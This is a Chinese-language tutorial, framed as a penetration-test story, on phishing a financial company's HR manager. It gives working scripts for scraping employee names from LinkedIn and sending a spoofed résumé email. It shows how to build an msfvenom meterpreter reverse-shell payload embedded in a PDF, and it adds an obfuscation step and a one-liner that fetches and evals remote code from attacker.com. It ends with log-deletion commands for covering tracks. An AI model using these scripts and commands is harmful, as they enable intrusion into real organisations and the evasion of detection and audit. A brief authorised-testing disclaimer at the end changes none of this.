一、渗透故事的开场白
在某个真实的渗透测试项目中,我们的目标是一家金融公司,这家公司拥有大量的用户数据和敏感信息。为了获取初始访问权限,我决定使用社工铓鱼攻击,这是一个以欺骗为基础的攻击方式,通过伪装成可信的邮件或网站来诱骗用户提供信息或执行恶意操作。
在这次攻击中,我锁定了公司的HR经理。通过信息收集阶段,我发现她最近正在招聘新员工,于是我伪装成应聘者发送了一封邮件,附上了一个精心构造的恶意简历PDF文档。下面我们将详细介绍这个攻击过程的每个步骤,并展示如何使用Ruby和Shell脚本实现社工铓鱼攻击。
二、信息猎手:前期情报收集
在开始攻击之前,信息收集是至关重要的。通过OSINT(开放源情报获取),我设法获得了目标公司的基本信息、员工名单、邮箱格式和一些内部活动动态。这里介绍一个Ruby脚本来抓取目标公司的LinkedIn页面以获取员工信息。
<pre><code class="language-ruby">require 'nokogiri' require 'open-uri'
def fetch_employees(url) page = Nokogiri::HTML(open(url)) employees = page.css('.org-people-profile-card__profile-title') employees.map { |employee| employee.text.strip } end
linkedin_url = 'https://www.linkedin.com/company/target-company/people/' employee_names = fetch_employees(linkedin_url)
puts "Fetched Employees: #{employee_names.join(', ')}"</code></pre>
脚本说明:
- 使用Nokogiri库解析LinkedIn页面,提取员工姓名和职位。
- 这段代码快速获取目标公司的员工名单,为社工攻击提供基础。
三、伪装艺术:定制邮件与文档
有了目标员工的信息,接下来便是构造诱骗邮件与恶意文档。为了让攻击更具欺骗性,我利用Ruby脚本发送伪装邮件,邮件中包含恶意PDF文件链接。PDF文档内嵌恶意代码,当目标打开时便会触发。

邮件发送脚本
<pre><code class="language-ruby">require 'mail'
options = { address: "smtp.mailtrap.io", port: 2525, user_name: "your_username", password: "your_password", authentication: "plain", enable_starttls_auto: true }
Mail.defaults do delivery_method :smtp, options end
Mail.deliver do to '[email protected]' from '[email protected]' subject 'Application for the Marketing Manager Position' body 'Please find attached my resume for your consideration. [Link to PDF]' end</code></pre>
脚本说明:
- 使用Mail库通过SMTP发送伪装邮件。
- 邮件内容设计得体,提升可信度。
四、Payload构造的艺术:PDF内嵌代码
构造恶意PDF是铓鱼攻击的核心。为了在目标打开PDF时执行恶意代码,我们使用Shell脚本将恶意代码嵌入到PDF中。
PDF构造脚本
<pre><code class="language-shell">#!/bin/bash
echo "Creating malicious PDF..." msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f exe > malicious.exe
Embedding EXE into PDF
echo "Embedding payload into PDF..." pdftk original_resume.pdf output malicious.pdf attach_files malicious.exe
echo "Malicious PDF created as malicious.pdf"</code></pre>
脚本说明:
- 使用Metasploit的msfvenom生成反向TCP连接的恶意载荷。
- 利用pdftk工具将EXE文件嵌入到PDF文档。
五、逆袭之道:绕过与免杀技术

为了保证攻击的隐蔽性,我们需要绕过目标公司的安全防护。这里介绍几种绕过技巧:
混淆技术
通过代码混淆和壳加工具来伪装恶意代码,使得安全软件难以检测。
<pre><code class="language-shell">./obfuscator -i malicious.exe -o obfuscated.exe</code></pre>
内存加载技术
通过将恶意代码加载到内存中直接执行,避免文件落地。
<pre><code class="language-shell">ruby -e 'require "open-uri"; eval(open("http://attacker.com/payload.rb").read)'</code></pre>
技巧说明:
- 使用混淆工具改变代码特征。
- 内存加载技术避免文件被检测。
六、善后工作:痕迹清除与掩盖
一旦成功获取权限,最后一步便是痕迹清除。清除日志、关闭连接以及删除所有恶意文件是必要的。

痕迹清除脚本

<pre><code class="language-shell">#!/bin/bash
echo "Clearing logs..." rm -f /var/log/auth.log history -c
echo "Logs cleared."</code></pre>
脚本说明:
- 删除系统日志文件,清除操作历史。
- 确保攻击行为不被追踪。
七、个人经验之谈:社工攻击心法
在进行社工铓鱼攻击时,细节是成败的关键。以下是一些经验总结:
- 定制化邮件与文档:根据目标的实际情况量身定制,增加可信度。
- 持续跟踪与调整:不断收集信息,并根据反馈调整攻击策略。
- 与时俱进:使用最新的工具和技巧,以应对不断升级的安全防护。
总结:社工铓鱼攻击是一道心理战术,技术与心理的结合往往能取得意想不到的效果。每一次攻击都是一次学习的机会,积累经验,才能更好地执行下一次的任务。
合法声明:本文仅限授权安全测试,供安全研究人员学习,请勿用于非法用途。